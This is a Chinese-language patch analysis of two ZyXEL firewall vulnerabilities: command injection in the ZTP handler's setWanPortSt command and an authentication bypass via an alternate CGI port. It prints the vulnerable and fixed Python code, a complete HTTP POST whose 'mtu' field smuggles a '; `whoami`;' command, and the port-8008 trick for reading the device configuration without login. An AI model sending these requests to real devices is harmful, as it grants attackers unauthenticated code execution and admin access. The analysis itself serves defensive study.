ZyXEL防火墙是合勤科技(ZyXEL)生产的一系列网络安全设备,旨在为各种网络环境提供安全保护。
允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。
攻击是通过/ztp/cgi-bin/handler端点发起的。handler是一个处理各种命令的 Python 脚本,handler.py带有以下支持的命令。
supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "traceroute", \
"atraceroute", "iptables", "getorchstat", \
"getInterfaceName_out", "getInterfaceInfo", \
#"getSingleInterfaceInfo", "getAllInterfaceInfo", \
#"getInterfaceNameAll", "getInterfaceNameMapping", \
"nslookup", "iproget", \
"diagnosticinfo", "networkUnitedTest", \
#"setRemoteAssistActive", "getRemoteAssist", \
"setRemoteZyxelSupport", "getRemoteZyxelSupport", \
"getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \
"getUSBSt","setUSBmount","setUSBactive", \
"getDiagnosticInfoUsb", \
"getDeviceCloudInfo", "getSPSversion", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \
"getlanguagest","setlanguage"
]
受漏洞影响命令getWanPortSt
elif req["command"] == "getWanPortSt":
reply = lib_wan_setting.getWanPortSt()
定位getWanPortSt函数 - lib_wan_setting.py
#关键代码
if proto == "dhcp":
if 'mtu' not in req:
req['mtu'] = '1500'
if vlan_tagged == '1':
cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '
else:
cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '
#extname = findextname(port)
cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']
if vlan_tagged == '1':
cmdLine += ' ' + vlanid
if "option60" in data:
cmdLine += ' ' + data['option60']
#修复之前
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
fout.write("1");
reponse = os.sytem(cmdline)
logging.info(response)
#修复之后
logging.info("cmdLine = %s" % cmdLine)
with open("/tmp/local_gui_write_flag", "w") as fout:
fout.write("1");
DEVNULL = open(os.devnull, 'w')
response = subprocess.call(shlex.split(cmdLine),stdout=DEVNULL,stderr=DEVNULL)#使用列表传递命令和参数
logging.info(response)
过滤危险字符代码 - shlex.py
#shlex.split(cmdLine)
def split(s, comments=False, posix=True):
"""Split the string *s* using shell-like syntax."""
if s is None:
raise ValueError("s argument must not be None")
lex = shlex(s, posix=posix)
lex.whitespace_split = True
if not comments:
lex.commenters = ''
return list(lex)
class shlex:
"A lexical analyzer class for simple shell-like syntaxes."
def __init__(self, instream=None, infile=None, posix=False,
punctuation_chars=False):
if isinstance(instream, str):
instream = StringIO(instream)
if instream is not None:
self.instream = instream
self.infile = infile
else:
self.instream = sys.stdin
self.infile = None
self.posix = posix
if posix:
self.eof = None
else:
self.eof = ''
self.commenters = '#'
self.wordchars = ('abcdfeghijklmnopqrstuvwxyz'
'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_')
if self.posix:
self.wordchars += ('ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ'
'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞ')
self.whitespace = ' \t\r\n'
self.whitespace_split = False
self.quotes = '\'"'
self.escape = '\\'
self.escapedquotes = '"'
self.state = ' '
self.pushback = deque()
self.lineno = 1
self.debug = 0
self.token = ''
self.filestack = deque()
self.source = None
if not punctuation_chars:
punctuation_chars = ''
elif punctuation_chars is True:
punctuation_chars = '();<>|&'
self._punctuation_chars = punctuation_chars
if punctuation_chars:
# _pushback_chars is a push back queue used by lookahead logic
self._pushback_chars = deque()
# these chars added because allowed in file names, args, wildcards
self.wordchars += '~-./*?='
#remove any punctuation chars from wordchars
t = self.wordchars.maketrans(dict.fromkeys(punctuation_chars))
self.wordchars = self.wordchars.translate(t)
请求数据包:
POST /ztp/cgi-bin/handler HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Type: application/json
Accept-Encoding: gzip
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; `whoami`;","data":"hi"}
CGI程序中存在身份绕过漏洞,可能允许攻击者绕过Web身份认证并获取设备的管理访问权限。
Zyxel设备Web服务重要由中间件Apache HTTP来进行管理,对应配置文件为/usr/local/zyxel-gui/httpd.conf。
modules/mod_auth_zyxel.so - 管理用户认证动态库
#LoadModule auth_pam_module modules/mod_auth_pam.so
#LoadModule php4_module modules/libphp4.so
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule auth_zyxel_module modules/mod_auth_zyxel.so
LoadModule unique_id_module modules/mod_unique_id.so
LoadModule security2_module modules/mod_security2.so
登录过程Cookie会产生authtok字段:
根据代码提示 - GUI相关操作无需认证即可访问。
读取参数变量与check_authok函数结构体比较,Apache为开源代码,我们可通过开发文档获取相应数据包结构体。
https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h
struct request_rec {
/** The pool associated with the request */
apr_pool_t *pool;
/** The connection to the client */
conn_rec *connection;
/** The virtual host for this request */
server_rec *server;
/** Pointer to the redirected request if this is an external redirect */
request_rec *next;
/** Pointer to the previous request if this is an internal redirect */
request_rec *prev;
/** Pointer to the main request if this is a sub-request
* (see http_request.h) */
request_rec *main;
/* Info about the request itself... we begin with stuff that only
* protocol.c should ever touch...
*/
/** First line of request */
char *the_request;
request_rec + 4 -> mips32 -> 结构体第二个成员 -> conn_rec *connection
struct conn_rec {
/** Pool associated with this connection */
apr_pool_t *pool;
/** Physical vhost this conn came in on */
server_rec *base_server;
/** used by http_vhost.c */
void *vhost_lookup_data;
/* Information about the connection itself */
/** local address */
apr_sockaddr_t *local_addr;
/** remote address; this is the end-point of the next hop, for the address
* of the request creator, see useragent_addr in request_rec
*/
apr_sockaddr_t *client_addr;
/** Client's IP address; this is the end-point of the next hop, for the
* IP of the request creator, see useragent_ip in request_rec
*/
char *client_ip;
/** Client's DNS name, if known. NULL if DNS hasn't been checked,
* "" if it has and no address was found. N.B. Only access this though
* get_remote_host() */
char *remote_host;
/** Only ever set if doing rfc1413 lookups. N.B. Only access this through
* get_remote_logname() */
/* TODO: Remove from request_rec, make local to mod_ident */
char *remote_logname;
request_rec + 4 -> conn_rec + 12 -> 结构体第4个元素 -> apr_sockaddr_t *localaddr
struct apr_sockaddr_t {
/** The pool to use... */
apr_pool_t *pool;
/** The hostname */
char *hostname;
/** Either a string of the port number or the service name for the port */
char *servname;
/** The numeric port */
apr_port_t port;
/** The family */
apr_int32_t family;
/** How big is the sockaddr we're using? */
apr_socklen_t salen;
/** How big is the ip address structure we're using? */
int ipaddr_len;
/** How big should the address buffer be? 16 for v4 or 46 for v6
* used in inet_ntop... */
int addr_str_len;
/** This points to the IP address structure within the appropriate
* sockaddr structure. */
void *ipaddr_ptr;
/** If multiple addresses were found by apr_sockaddr_info_get(), this
* points to a representation of the next address. */
apr_sockaddr_t *next;
/** Union of either IPv4 or IPv6 sockaddr. *
Request_rec+4 -> conn_rec + 12 -> apr_sockaddr_t + 12 -> 结构体第4个元素 -> apr_port_t port
文件内容格式 - 1 443 80 4433 - 修改HTTP报文中HOST字段,直接访问CGI文件,无需认证。
关键配置文件 - /usr/local/zyxel_gui/httpd.conf。
ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"
AddHandler cgi-script .cgi .py
cgi-bin目录配置在全局区域内,及所有cgi都可以通过其他端口访问对应资源。
默认访问80端口,需要用户认证:
访问8008端口,绕过认证,获取设备配置文件:
(1)https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/
(2)https://apr.apache.org/docs/apr/1.5/apr\_\_network\_\_io\_8h\_source.html
(3)https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h